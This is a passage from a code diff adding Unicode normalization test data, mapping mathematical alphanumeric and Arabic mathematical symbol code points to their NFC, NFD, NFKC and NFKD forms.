+{ source: [0x1D780], NFC: [0x1D780], NFD: [0x1D780], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D781], NFC: [0x1D781], NFD: [0x1D781], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D782], NFC: [0x1D782], NFD: [0x1D782], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D783], NFC: [0x1D783], NFD: [0x1D783], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D784], NFC: [0x1D784], NFD: [0x1D784], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D785], NFC: [0x1D785], NFD: [0x1D785], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D786], NFC: [0x1D786], NFD: [0x1D786], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D787], NFC: [0x1D787], NFD: [0x1D787], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D788], NFC: [0x1D788], NFD: [0x1D788], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D789], NFC: [0x1D789], NFD: [0x1D789], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D78A], NFC: [0x1D78A], NFD: [0x1D78A], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D78B], NFC: [0x1D78B], NFD: [0x1D78B], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D78C], NFC: [0x1D78C], NFD: [0x1D78C], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D78D], NFC: [0x1D78D], NFD: [0x1D78D], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D78E], NFC: [0x1D78E], NFD: [0x1D78E], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D78F], NFC: [0x1D78F], NFD: [0x1D78F], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D790], NFC: [0x1D790], NFD: [0x1D790], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D791], NFC: [0x1D791], NFD: [0x1D791], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D792], NFC: [0x1D792], NFD: [0x1D792], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D793], NFC: [0x1D793], NFD: [0x1D793], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D794], NFC: [0x1D794], NFD: [0x1D794], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D795], NFC: [0x1D795], NFD: [0x1D795], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D796], NFC: [0x1D796], NFD: [0x1D796], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D797], NFC: [0x1D797], NFD: [0x1D797], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D798], NFC: [0x1D798], NFD: [0x1D798], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D799], NFC: [0x1D799], NFD: [0x1D799], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D79A], NFC: [0x1D79A], NFD: [0x1D79A], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D79B], NFC: [0x1D79B], NFD: [0x1D79B], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D79C], NFC: [0x1D79C], NFD: [0x1D79C], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D79D], NFC: [0x1D79D], NFD: [0x1D79D], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D79E], NFC: [0x1D79E], NFD: [0x1D79E], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D79F], NFC: [0x1D79F], NFD: [0x1D79F], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D7A0], NFC: [0x1D7A0], NFD: [0x1D7A0], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D7A1], NFC: [0x1D7A1], NFD: [0x1D7A1], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D7A2], NFC: [0x1D7A2], NFD: [0x1D7A2], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D7A3], NFC: [0x1D7A3], NFD: [0x1D7A3], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D7A4], NFC: [0x1D7A4], NFD: [0x1D7A4], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D7A5], NFC: [0x1D7A5], NFD: [0x1D7A5], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D7A6], NFC: [0x1D7A6], NFD: [0x1D7A6], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D7A7], NFC: [0x1D7A7], NFD: [0x1D7A7], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D7A8], NFC: [0x1D7A8], NFD: [0x1D7A8], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D7A9], NFC: [0x1D7A9], NFD: [0x1D7A9], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D7AA], NFC: [0x1D7AA], NFD: [0x1D7AA], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D7AB], NFC: [0x1D7AB], NFD: [0x1D7AB], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D7AC], NFC: [0x1D7AC], NFD: [0x1D7AC], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D7AD], NFC: [0x1D7AD], NFD: [0x1D7AD], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D7AE], NFC: [0x1D7AE], NFD: [0x1D7AE], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D7AF], NFC: [0x1D7AF], NFD: [0x1D7AF], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D7B0], NFC: [0x1D7B0], NFD: [0x1D7B0], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D7B1], NFC: [0x1D7B1], NFD: [0x1D7B1], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D7B2], NFC: [0x1D7B2], NFD: [0x1D7B2], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D7B3], NFC: [0x1D7B3], NFD: [0x1D7B3], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D7B4], NFC: [0x1D7B4], NFD: [0x1D7B4], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D7B5], NFC: [0x1D7B5], NFD: [0x1D7B5], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D7B6], NFC: [0x1D7B6], NFD: [0x1D7B6], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D7B7], NFC: [0x1D7B7], NFD: [0x1D7B7], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D7B8], NFC: [0x1D7B8], NFD: [0x1D7B8], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D7B9], NFC: [0x1D7B9], NFD: [0x1D7B9], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D7BA], NFC: [0x1D7BA], NFD: [0x1D7BA], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D7BB], NFC: [0x1D7BB], NFD: [0x1D7BB], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D7BC], NFC: [0x1D7BC], NFD: [0x1D7BC], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D7BD], NFC: [0x1D7BD], NFD: [0x1D7BD], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D7BE], NFC: [0x1D7BE], NFD: [0x1D7BE], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D7BF], NFC: [0x1D7BF], NFD: [0x1D7BF], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D7C0], NFC: [0x1D7C0], NFD: [0x1D7C0], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D7C1], NFC: [0x1D7C1], NFD: [0x1D7C1], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D7C2], NFC: [0x1D7C2], NFD: [0x1D7C2], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D7C3], NFC: [0x1D7C3], NFD: [0x1D7C3], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D7C4], NFC: [0x1D7C4], NFD: [0x1D7C4], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D7C5], NFC: [0x1D7C5], NFD: [0x1D7C5], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D7C6], NFC: [0x1D7C6], NFD: [0x1D7C6], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D7C7], NFC: [0x1D7C7], NFD: [0x1D7C7], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D7C8], NFC: [0x1D7C8], NFD: [0x1D7C8], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D7C9], NFC: [0x1D7C9], NFD: [0x1D7C9], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D7CA], NFC: [0x1D7CA], NFD: [0x1D7CA], NFKC: [0x03DC], NFKD: [0x03DC] },
+{ source: [0x1D7CB], NFC: [0x1D7CB], NFD: [0x1D7CB], NFKC: [0x03DD], NFKD: [0x03DD] },
+{ source: [0x1D7CE], NFC: [0x1D7CE], NFD: [0x1D7CE], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7CF], NFC: [0x1D7CF], NFD: [0x1D7CF], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7D0], NFC: [0x1D7D0], NFD: [0x1D7D0], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7D1], NFC: [0x1D7D1], NFD: [0x1D7D1], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7D2], NFC: [0x1D7D2], NFD: [0x1D7D2], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7D3], NFC: [0x1D7D3], NFD: [0x1D7D3], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7D4], NFC: [0x1D7D4], NFD: [0x1D7D4], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7D5], NFC: [0x1D7D5], NFD: [0x1D7D5], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7D6], NFC: [0x1D7D6], NFD: [0x1D7D6], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7D7], NFC: [0x1D7D7], NFD: [0x1D7D7], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7D8], NFC: [0x1D7D8], NFD: [0x1D7D8], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7D9], NFC: [0x1D7D9], NFD: [0x1D7D9], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7DA], NFC: [0x1D7DA], NFD: [0x1D7DA], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7DB], NFC: [0x1D7DB], NFD: [0x1D7DB], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7DC], NFC: [0x1D7DC], NFD: [0x1D7DC], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7DD], NFC: [0x1D7DD], NFD: [0x1D7DD], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7DE], NFC: [0x1D7DE], NFD: [0x1D7DE], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7DF], NFC: [0x1D7DF], NFD: [0x1D7DF], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7E0], NFC: [0x1D7E0], NFD: [0x1D7E0], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7E1], NFC: [0x1D7E1], NFD: [0x1D7E1], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7E2], NFC: [0x1D7E2], NFD: [0x1D7E2], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7E3], NFC: [0x1D7E3], NFD: [0x1D7E3], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7E4], NFC: [0x1D7E4], NFD: [0x1D7E4], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7E5], NFC: [0x1D7E5], NFD: [0x1D7E5], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7E6], NFC: [0x1D7E6], NFD: [0x1D7E6], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7E7], NFC: [0x1D7E7], NFD: [0x1D7E7], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7E8], NFC: [0x1D7E8], NFD: [0x1D7E8], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7E9], NFC: [0x1D7E9], NFD: [0x1D7E9], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7EA], NFC: [0x1D7EA], NFD: [0x1D7EA], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7EB], NFC: [0x1D7EB], NFD: [0x1D7EB], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7EC], NFC: [0x1D7EC], NFD: [0x1D7EC], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7ED], NFC: [0x1D7ED], NFD: [0x1D7ED], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7EE], NFC: [0x1D7EE], NFD: [0x1D7EE], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7EF], NFC: [0x1D7EF], NFD: [0x1D7EF], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7F0], NFC: [0x1D7F0], NFD: [0x1D7F0], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7F1], NFC: [0x1D7F1], NFD: [0x1D7F1], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7F2], NFC: [0x1D7F2], NFD: [0x1D7F2], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7F3], NFC: [0x1D7F3], NFD: [0x1D7F3], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7F4], NFC: [0x1D7F4], NFD: [0x1D7F4], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7F5], NFC: [0x1D7F5], NFD: [0x1D7F5], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7F6], NFC: [0x1D7F6], NFD: [0x1D7F6], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7F7], NFC: [0x1D7F7], NFD: [0x1D7F7], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7F8], NFC: [0x1D7F8], NFD: [0x1D7F8], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7F9], NFC: [0x1D7F9], NFD: [0x1D7F9], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7FA], NFC: [0x1D7FA], NFD: [0x1D7FA], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7FB], NFC: [0x1D7FB], NFD: [0x1D7FB], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7FC], NFC: [0x1D7FC], NFD: [0x1D7FC], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7FD], NFC: [0x1D7FD], NFD: [0x1D7FD], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7FE], NFC: [0x1D7FE], NFD: [0x1D7FE], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7FF], NFC: [0x1D7FF], NFD: [0x1D7FF], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1EE00], NFC: [0x1EE00], NFD: [0x1EE00], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0x1EE01], NFC: [0x1EE01], NFD: [0x1EE01], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE02], NFC: [0x1EE02], NFD: [0x1EE02], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE03], NFC: [0x1EE03], NFD: [0x1EE03], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EE05], NFC: [0x1EE05], NFD: [0x1EE05], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EE06], NFC: [0x1EE06], NFD: [0x1EE06], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EE07], NFC: [0x1EE07], NFD: [0x1EE07], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE08], NFC: [0x1EE08], NFD: [0x1EE08], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE09], NFC: [0x1EE09], NFD: [0x1EE09], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE0A], NFC: [0x1EE0A], NFD: [0x1EE0A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE0B], NFC: [0x1EE0B], NFD: [0x1EE0B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE0C], NFC: [0x1EE0C], NFD: [0x1EE0C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE0D], NFC: [0x1EE0D], NFD: [0x1EE0D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE0E], NFC: [0x1EE0E], NFD: [0x1EE0E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE0F], NFC: [0x1EE0F], NFD: [0x1EE0F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE10], NFC: [0x1EE10], NFD: [0x1EE10], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE11], NFC: [0x1EE11], NFD: [0x1EE11], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE12], NFC: [0x1EE12], NFD: [0x1EE12], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE13], NFC: [0x1EE13], NFD: [0x1EE13], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EE14], NFC: [0x1EE14], NFD: [0x1EE14], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE15], NFC: [0x1EE15], NFD: [0x1EE15], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE16], NFC: [0x1EE16], NFD: [0x1EE16], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE17], NFC: [0x1EE17], NFD: [0x1EE17], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE18], NFC: [0x1EE18], NFD: [0x1EE18], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EE19], NFC: [0x1EE19], NFD: [0x1EE19], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE1A], NFC: [0x1EE1A], NFD: [0x1EE1A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE1B], NFC: [0x1EE1B], NFD: [0x1EE1B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE1C], NFC: [0x1EE1C], NFD: [0x1EE1C], NFKC: [0x066E], NFKD: [0x066E] },
+{ source: [0x1EE1D], NFC: [0x1EE1D], NFD: [0x1EE1D], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0x1EE1E], NFC: [0x1EE1E], NFD: [0x1EE1E], NFKC: [0x06A1], NFKD: [0x06A1] },
+{ source: [0x1EE1F], NFC: [0x1EE1F], NFD: [0x1EE1F], NFKC: [0x066F], NFKD: [0x066F] },
+{ source: [0x1EE21], NFC: [0x1EE21], NFD: [0x1EE21], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE22], NFC: [0x1EE22], NFD: [0x1EE22], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE24], NFC: [0x1EE24], NFD: [0x1EE24], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE27], NFC: [0x1EE27], NFD: [0x1EE27], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE29], NFC: [0x1EE29], NFD: [0x1EE29], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE2A], NFC: [0x1EE2A], NFD: [0x1EE2A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE2B], NFC: [0x1EE2B], NFD: [0x1EE2B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE2C], NFC: [0x1EE2C], NFD: [0x1EE2C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE2D], NFC: [0x1EE2D], NFD: [0x1EE2D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE2E], NFC: [0x1EE2E], NFD: [0x1EE2E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE2F], NFC: [0x1EE2F], NFD: [0x1EE2F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE30], NFC: [0x1EE30], NFD: [0x1EE30], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE31], NFC: [0x1EE31], NFD: [0x1EE31], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE32], NFC: [0x1EE32], NFD: [0x1EE32], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE34], NFC: [0x1EE34], NFD: [0x1EE34], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE35], NFC: [0x1EE35], NFD: [0x1EE35], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE36], NFC: [0x1EE36], NFD: [0x1EE36], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE37], NFC: [0x1EE37], NFD: [0x1EE37], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE39], NFC: [0x1EE39], NFD: [0x1EE39], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE3B], NFC: [0x1EE3B], NFD: [0x1EE3B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE42], NFC: [0x1EE42], NFD: [0x1EE42], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE47], NFC: [0x1EE47], NFD: [0x1EE47], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE49], NFC: [0x1EE49], NFD: [0x1EE49], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE4B], NFC: [0x1EE4B], NFD: [0x1EE4B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE4D], NFC: [0x1EE4D], NFD: [0x1EE4D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE4E], NFC: [0x1EE4E], NFD: [0x1EE4E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE4F], NFC: [0x1EE4F], NFD: [0x1EE4F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE51], NFC: [0x1EE51], NFD: [0x1EE51], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE52], NFC: [0x1EE52], NFD: [0x1EE52], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE54], NFC: [0x1EE54], NFD: [0x1EE54], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE57], NFC: [0x1EE57], NFD: [0x1EE57], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE59], NFC: [0x1EE59], NFD: [0x1EE59], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE5B], NFC: [0x1EE5B], NFD: [0x1EE5B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE5D], NFC: [0x1EE5D], NFD: [0x1EE5D], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0x1EE5F], NFC: [0x1EE5F], NFD: [0x1EE5F], NFKC: [0x066F], NFKD: [0x066F] },
+{ source: [0x1EE61], NFC: [0x1EE61], NFD: [0x1EE61], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE62], NFC: [0x1EE62], NFD: [0x1EE62], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE64], NFC: [0x1EE64], NFD: [0x1EE64], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE67], NFC: [0x1EE67], NFD: [0x1EE67], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE68], NFC: [0x1EE68], NFD: [0x1EE68], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE69], NFC: [0x1EE69], NFD: [0x1EE69], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE6A], NFC: [0x1EE6A], NFD: [0x1EE6A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE6C], NFC: [0x1EE6C], NFD: [0x1EE6C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE6D], NFC: [0x1EE6D], NFD: [0x1EE6D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE6E], NFC: [0x1EE6E], NFD: [0x1EE6E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE6F], NFC: [0x1EE6F], NFD: [0x1EE6F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE70], NFC: [0x1EE70], NFD: [0x1EE70], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE71], NFC: [0x1EE71], NFD: [0x1EE71], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE72], NFC: [0x1EE72], NFD: [0x1EE72], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE74], NFC: [0x1EE74], NFD: [0x1EE74], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE75], NFC: [0x1EE75], NFD: [0x1EE75], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE76], NFC: [0x1EE76], NFD: [0x1EE76], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE77], NFC: [0x1EE77], NFD: [0x1EE77], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE79], NFC: [0x1EE79], NFD: [0x1EE79], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE7A], NFC: [0x1EE7A], NFD: [0x1EE7A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE7B], NFC: [0x1EE7B], NFD: [0x1EE7B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE7C], NFC: [0x1EE7C], NFD: [0x1EE7C], NFKC: [0x066E], NFKD: [0x066E] },
+{ source: [0x1EE7E], NFC: [0x1EE7E], NFD: [0x1EE7E], NFKC: [0x06A1], NFKD: [0x06A1] },
+{ source: [0x1EE80], NFC: [0x1EE80], NFD: [0x1EE80], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0x1EE81], NFC: [0x1EE81], NFD: [0x1EE81], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE82], NFC: [0x1EE82], NFD: [0x1EE82], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE83], NFC: [0x1EE83], NFD: [0x1EE83], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EE84], NFC: [0x1EE84], NFD: [0x1EE84], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE85], NFC: [0x1EE85], NFD: [0x1EE85], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EE86], NFC: [0x1EE86], NFD: [0x1EE86], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EE87], NFC: [0x1EE87], NFD: [0x1EE87], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE88], NFC: [0x1EE88], NFD: [0x1EE88], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE89], NFC: [0x1EE89], NFD: [0x1EE89], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE8B], NFC: [0x1EE8B], NFD: [0x1EE8B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE8C], NFC: [0x1EE8C], NFD: [0x1EE8C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE8D], NFC: [0x1EE8D], NFD: [0x1EE8D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE8E], NFC: [0x1EE8E], NFD: [0x1EE8E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE8F], NFC: [0x1EE8F], NFD: [0x1EE8F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE90], NFC: [0x1EE90], NFD: [0x1EE90], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE91], NFC: [0x1EE91], NFD: [0x1EE91], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE92], NFC: [0x1EE92], NFD: [0x1EE92], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE93], NFC: [0x1EE93], NFD: [0x1EE93], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EE94], NFC: [0x1EE94], NFD: [0x1EE94], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE95], NFC: [0x1EE95], NFD: [0x1EE95], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE96], NFC: [0x1EE96], NFD: [0x1EE96], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE97], NFC: [0x1EE97], NFD: [0x1EE97], NFKC: [0x062E], NFKD: [0x062E] },
